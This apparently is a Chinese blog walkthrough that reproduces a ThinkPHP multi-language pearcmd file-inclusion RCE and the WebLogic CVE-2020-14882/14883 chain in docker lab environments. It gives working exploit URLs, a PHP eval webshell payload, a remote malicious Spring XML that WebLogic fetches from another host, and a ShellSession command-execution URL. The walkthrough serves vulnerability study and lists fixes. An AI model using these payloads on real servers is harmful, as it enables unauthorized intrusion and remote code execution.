复现常见的中间件RCE漏洞

中间件RCE

Thinkphp RCE

简介

Thinkphp是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷Web应用开发和简化企业应用开发而诞生的。
2022年12月,Thinkphp被披露出在开启多语言特性的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含trick即可实现RCE。

默认情况下,系统只会加载默认语言包,如果需要多语言自动侦测及自动切换,需要在全局的中间件定义文件中添加相关配置,因此只有启用了多语言特性并且使用存在漏洞的版本时才存在漏洞。

漏洞利用条件:
1、多语言特性开启
2、安装pear库
3、知道pearcmd.php路径
4、register_argc_argv = on

环境搭建
docker pull vulfocus/thinkphp:6.0.12 //漏洞版本内
docker run -d -p 8080:80 vulfocus/thinkphp:6.0.12
  • ThinkPHP首页指纹信息,如果在测试某个网站的时候发现了这个页面,同时在网上有该版本的漏洞,那就可以直接拿来攻击了
    在这里插入图片描述

漏洞测试

  • 前端测试是否存在pearcmd,访问路径,如果存在下图中的报错就确认存在
    在这里插入图片描述
  • EXP(指 “Exploit”,利用代码或利用程序,网上可以直接找)
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=phpinfo()?>+/var/www/html/paris.php

?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=@eval($_REQUEST['a']);?>+/var/www/html/paris.php
  • 写入成功
    在这里插入图片描述
  • 居然被url编码了,无所谓,可以抓包在这里插入图片描述
    在这里插入图片描述
  • 成功解析,那么一句话木马同样可以解析在这里插入图片描述

修复

  1. 关闭多语言特性
  2. 升级至最新版本

Weblogic未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

简介

2020年Oracle官方发布了数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882 & CVE-2020-14883 可使攻击者绕过WebLogic后台登录限制,远程代码执行获取WebLogic服务器权限,利用难度极低,风险极大。

  • 原理

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
这两个漏洞的组合利用,可以让攻击者以未授权的身份登录后台,然后通过GET请求在Weblogic服务器上远程 执行命令。

  • 影响范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
  • 下载vulhub,启动Weblogic漏洞(CVE-2020-14882)环境
启动环境
在Vulhub中选择某个环境,进入漏洞目录启动:docker-compose up -d 漏洞测试,Vulhub中所有漏洞环境均配置了详细的说明文档,包括如何编译、启动、原理、复现,详见https://vulhub.org/#/environments/
操作容器
停止:docker-compose stop
开启:docker-compose start
移除:docker-compose down

在这里插入图片描述

漏洞测试

  • 访问 http://your-ip:7001/console 来到登录页面,正常来说肯定是需要账号密码才能登录到后台,这里利用CVE-2020-14882漏洞,访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal
注:%252e%252e%252f 是经过两次URL编码后的../,通过这个就可以实现穿越路径未授权访问后台页面。
  • 进来了,但是没有admin用户,因为是未授权访问进来的
    在这里插入图片描述

观察该页面可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。想要实现服务器RCE,就要借助另外一个漏洞(CVE-2020-14883)。

CVE-2020-14883

通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这种方法最早在 CVE-2019-2725(Weblogic反序列化漏洞) 被提出,是一个通杀的方法,对Weblogic的所有版本均有效。此方法需要借助XML文件,通过访问XML文件来执行命令。

  • 构造一个恶意的XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/paris]]></value> # 新建一个文件paris
</list>
</constructor-arg>
</bean>
</beans>

在这里插入图片描述

  • 传到upload-labs靶场
    在这里插入图片描述
    访问如下xml
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
pport.FileSystemXmlApplicationContext("http://example.com/rce.xml")
  • 进入到容器里面,文件写入成功,能写文件就能写恶意代码,能写恶意代码就能执行,因此,这是一个高危漏洞
    在这里插入图片描述- 这种利用方法的不足之处,就是需要Weblogic服务器能够访问到恶意XML。如果网站部署在内网且无法访问公网的话,则无法执行XML文件

第二种方法

  • 通过 com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在 Weblogic12.2.1 以上版本利用,因为 10.3.6(上面受影响版本中只有这一个低于12.2.1)版本没有这个类。

  • 直接访问如下url

http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java
.lang.Runtime.getRuntime().exec('touch%20/tmp/paris');")
  • 如下,漏洞利用成功
    在这里插入图片描述
  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值